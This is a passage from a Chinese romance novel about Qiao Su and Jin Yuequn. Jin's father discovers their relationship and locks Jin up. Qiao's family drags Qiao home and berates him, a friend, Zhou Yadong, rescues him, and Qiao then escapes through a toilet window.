阿姨问他:“小苏啊,你今天上午不去把这件喜事告诉你的那些同学呀?” “不去了不去了,我等靳越群呢,他知道我考上了肯定高兴坏了,我得第一时间跟他说!” 阿姨笑着摇摇头,这兄弟俩呀,感情真好:“那阿姨早点给你做饭…” 因为不知道靳越群上午什么时候回来,乔苏一上午都没出门,就在家里等着他,生怕错过,然而一直到了中午头,阿姨把饭都做好了,靳越群都还没回来。 不仅没回来,连一个电话也没有。 “小群是不是留在汉城吃饭了?你先吃,一会儿鱼凉了味儿该发腥了…” 乔苏拿着筷子,心里总觉得有点奇怪,平常就算靳越群留在汉城陪靳伯伯吃,也肯定会给他打电话说一声的呀。 靳越群最喜欢给他打电话了,他干什么靳越群都要知道,所以不管是从哪儿借电话还是找电话,他都会给他打的。 就这样等了一天,一直等到天黑,靳越群都没回来。 连屋里电话都一片死寂,从没响过。 他不是说去城里给奶奶过生日么? 怎么都一天了,还没回来? 乔苏没有心情出去了,他想着是不是徐水的厂子有急事?他最近一直在那边,还是靳伯伯有事把他叫走了? 可他想着想着心里又更焦急,靳越群再有事,也不可能一天都不给他打一个电话的。 他想给汉城打一个电话,在抽屉里翻出很久不用的电话本,这还是靳妈妈还在的时候,她不放心他们两个,总是会隔三差五的给他们打电话。 靳妈妈有时也会单独给乔苏打,问他靳越群有没有欺负他,他也喜欢给靳妈妈打电话,靳妈妈的声音很温柔,对他也好,买什么东西都是买双份,后来靳妈妈走了,他就没再往那个家里打过了。 电话拨出去,没通… 靳妈妈离开他们已经有十年了,或许,电话早就已经换了…? 乔苏也无心睡觉,在楼下的沙发上等一会儿眯一会儿,然而他没想到,整整三天过去了,靳越群仍旧是一点消息也没有… 他等不了了,这太不对了,靳越群从不会这样让他担心的,难道是在路上开车出事了? 被像那天那种不长眼睛的人给撞了?受伤了?! 乔苏一想到这里,什么也顾不上了,跑上楼拿起他的书包,把录取通知书和他的存钱小猪塞进背包里,就准备坐汽车去汉城。 他知道汉城的家在哪儿,他们前些年过年的时候,靳越群那个继母让他们去过的。 然而刚到楼下,铁大门突然被大力拍着,拍的‘哐哐’作响,靳晓北骑着自行车急着找他:“乔苏!坏了!我听我爸说哥前几天在奶在寿宴上跟靳伯大吵一架,他被靳伯给关起来了!现在十好几个人看着!” “什、什么?他为什么和靳伯伯吵架,为什么被靳伯伯的关起来?” “因为你们俩的事被靳伯伯发现了!哎呀,我也不知道,反正靳伯伯很生气!他要把靳哥送去香港念书了!” 乔苏一时脑袋里嗡嗡直叫,都没反应过来,他们的事被发现了?送去香港…? “靳越群他受伤了么?!” 靳晓北不知道乔苏怎么会第一个问这个,怎么还有空问这个,他根本不知道这件事被靳伯伯发现的严重性,眼下他们两个小屁孩也拿不定主意。 “走走,你跟我上我爸那儿去问,我也转达不清!” 他拉着乔苏上自行车,还没蹬车,院门忽的又被一群人呼啦啦的踹开闯进来了。 杨白梅头一个哭天喊地的。 “乔苏!你说你看着挺单纯的,小小年纪怎么能干出这么不要脸的事?!!人家靳家现在都找上门了,你真是让乔家倒大霉了!!你赶紧回家去!!” 乔国栋咳嗽着,还有好几个人高马大的,乔苏不认识亲戚,一群人看着他像要活吃了他。 “你们干什么闯进来!这是我家,我要报警了!” “老乔啊你看看你儿子!!靳家是咱的救命恩人!他居然跟人家好好的儿子搞到床上去!做出这样的腌臜事,你怎么生出这么个东西!现在靳家要算账,要把房子都收回去,你这是把我们母子三个都逼上绝路啊!” 乔国栋一张老脸羞愤的通红:“你还嫌不够丢人?!回家再说,把这个孽子带回家再说!” “对,快!乔二壮,快把他给嫂子塞到面包车里,咱先回家,回家再说!” 几个乔家的亲戚被杨白梅招呼着拉扯乔苏,乔苏拼命反抗:“你们要干什么!你们这是犯法的!” “你们给我放手!放开他!” 靳晓北也冲上去和他们打,然而那边的成年男人足有五六个,他们才两个,身材还都瘦,没一会儿靳晓北就让人打在地上,乔苏被俩人抬着,塞进了乔家借来的面包车,扬长而去。 靳晓北抹着眼睛哭了,从地上爬起来:“乔苏,乔苏——!” 他不知道怎么办,捡起地上的自行车就要去追,然而他的自行车也叫刚才被人踩坏了踏板轴,蹬不上,正急得眼泪和汗一块冒,两辆军绿色的京牌吉普车又停在院门口。 前头那辆探头出来的人是周亚东! “晓北?乔苏呢!” “亚东哥?!” 靳晓北一看见他,擦掉眼泪,赶紧跑上去跟他说“亚东哥!乔苏刚才被他爸妈和一帮亲戚塞进一辆面包车里带走了!” “操!还是来晚了!”周亚东也急,从他上午收到靳越群好不容易发出来的消息叫他带走乔苏,他就马不停蹄地赶过来了。 “你知道乔家在哪儿不?” “在平曲县!我不知道具体位置,但我小姨在哪儿,可以问她!” “那赶紧上车!” - 到了乔家,为了防止乔苏再逃跑,他被被那几个亲戚摁住,杨白梅跟乔国栋撒泼:“现在咋办!你说现在咋办!我跟你结婚这么多年才刚过上几年安生日子,人家靳家都让人过来打咱的脸了!靳家要是因为这事把铺面收回去咋办!咱全家都喝西北风去!我平常一勺猪油都舍不得舀啊,你生得好儿子!就是来讨咱们债的…!” 乔国栋被她抓着衣领,一旁的乔柯搀着他妈:“妈,我说个办法,不如把哥送回你甘北的武县老家吧。” “不行!武县离咱这儿一千多公里!你们敢把哥送那儿我跟你们拼了!” 乔杏花刚放学回来,还不知道咋回事,就听见他们要把乔苏送走。 “你个丫头片子别插话!乔柯,可 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“我今天算是彻底看透了…!乔国栋,杨白梅,乔柯,你们这帮人,什么爹,什么妈,什么狗屁兄弟!全他妈是一帮自私自利喂不熟的白眼狼!” 乔国栋老脸涨的一阵红一阵白,拿着烟袋指着乔苏骂:“你、你做出这种恶心事,还打你弟弟,你真是让我老乔家没脸去下头见祖宗!” “你去见祖宗?乔国栋,从你当初卖儿子的时候你就没脸下去见祖宗了!” 乔苏彻底看清了这帮人的嘴脸,他让靳越群打小惯得可不是受屈的性格,真恼起来就是靳越群也得先让三分,他抄起院子里的铁锹,对着饭桌就砸下去. “砰!”的一声,上头的凉水杯、暖壶,剩菜盘子,全砸在地上,炸开一片,他砸完这儿不够,又冲进屋里,把靳越群前一阵花了四千多给他们新装的座机电话给砸的稀巴烂! “怎么样!乔国栋,你们夫妻俩这些年住着卖儿子盖上的二层小楼怎么样!啊?!这些年我跟你们计较过什么?!房子盖了,电话装了,当我是傻逼是吧?!你们俩晚上数钱的时候做噩梦么?!怕鬼找上门吗?!还见祖宗!去十八层地狱见吧!我全给你砸了!” “他疯了!乔国栋!你儿子是精神病,他疯了啊!” 他一个人拼命挥舞铁锹到处乱砸,几个男人也一时吓住,刚摁住乔苏,就听见门口有车响,两辆吉普车上下来七八个男人,周亚东看见乔苏被两个男人摁着肩膀。 “靠,你什么东西敢动我弟弟!给我打!” 七八个男人一看就是练家子,他们一加入,战局迅速扭转。 周亚东拉着乔苏上车:“没事吧乔苏,他们打着你那儿了?你可别吓哥,你要有事靳越群得跟我拼命!” 乔苏都不知道自己哪儿伤了,看见周亚东,他一直忍在眼里打旋儿的眼泪掉下来:“亚东哥!靳越群呢?” “唉,这个,他现在家里那边有点事,没办法来找你,他跟我说了,让我务必找着你,带你回我那儿,你放心,我在,靳家就是有什么话也不敢找来,你就在我那儿安心待着…” 车窗突然被拍,是乔杏花,这车高,女孩够不着,她垫着脚把兜里一个包好红布兜塞给他:“哥!这是你给我买的,我用不上,你是不是要走了?你拿着,哥,我之前不是怪你…” “你个胳膊肘往外拐的臭丫头!金耳环?这是不是你偷家里钱买的!” 杨白梅看见乔杏花,冲上去夺下来,乔杏花跟她抢:“你还给我,这是我哥给我买的!” “傻丫头!他和男人搞上床!他不是你哥了!” 周亚东看那娘俩争抢着,又怕波及乔苏,发动车子。 乔苏扒着车窗喊:“乔杏花!你照顾好自己!顾好自己!别管他们!” 车开远了,那场混乱的闹剧仿佛也被丢在身后,不远处天色阴沉,铅云堆叠。 “亚东哥,靳越群被他爸关起来了,是不是?因为我们的事,我们的事被靳伯伯知道了…” “乔苏,我知道你俩打小就有感情,但这个事吧,真不是那么简单的…” “你跟我说实话吧,好不好,亚东哥,靳越群到底怎么样,你跟我说吧,求求你了,亚东哥…” 乔苏泣不成声,他不知道怎么一夕之间事情变成了这样,前两天,他和靳越群还在新婚蜜月期,他明明是亲了他才走的,就是给奶过个生日,怎么就成这样了… “现在这个事闹得有点大,毕竟那天晚上给老太太过寿,那么多人都在,我也是听个大概,说是有人在翠湖拍了你们俩在一块的照片,还有房间里的录像,寄给靳伯父了,靳伯父发了大火,在包间里扇了他一巴掌,要靳越群和你断了,靳越群也没服软,后面他就被靳伯关在家里了,有十来个保镖看着……他今天上午给我打电话也很急,很短,后面我又联系不上了,赶紧来找你,他估计怕靳家对你怎么样,没想到靳家先找了乔家,这倒有点不像靳伯父的作风…” 乔苏没听他后面讲什么,他听到靳越群被人扇巴掌,哪怕那个人是靳伯父,他也受不了,心像被剪开一样疼的厉害… “我听晓北说,靳伯父要把靳越群送到香港念书,他不能回来了,是不是?” 这次周亚东也沉默了,他刚才就是故意回避着这个话题没提,他怕乔苏受不了。 听他爸说,靳伯父已经在四处找关系托人加急去办了,估计也就是这两天的事… “乔苏,你听哥的,你现在什么也不要想,就在我那儿待着,闹这么一大场,你也累了,好好休息休息…” 乔苏低着头,眼泪一颗颗往下掉,他用手背抹掉,上面刚才不知被什么划伤了,有两个小血道,往外冒着细小的血珠。 “好,我听你的…也听靳越群的…” 周亚东松了一口气。 “行,放心吧,哥一定给你打听着,一有消息就告诉你…” “亚东哥,你能停下车吗,我想去前头的公共厕所上个厕所…” “行,我跟你一块下去。” 周亚东看乔苏进去了,就在门口蹙着眉头抽烟,他打小就是别人嘴里的官二代,最清楚其实在任何时候,感情都是头一个牺牲的,更何况这两个人这么年轻,他心里担心,也有预感,怕是这次靳越群要去香港的事,是没回旋的余地了… 亲生儿子在这个时代是个几乎与吸毒、艾滋病这种字眼捆绑在一起的同性恋,这对靳昌林来说不亚于晴天霹雳,也是他绝对不允许发生的丑事。 唉… 看了看表,怎么乔苏还没出来?周亚东进去找,喊乔苏,发现里头空荡荡的,就倚着一个流浪汉,他急着问:“刚才进来那个男孩呢?” 这儿是县政府建的示范公厕,还上过县里报纸,不少流浪汉趁着没人检查的时候都在这儿打地铺,他指了指上头的窗户:“刚才跳出去一个…” “什么?!” 周亚东傻眼了。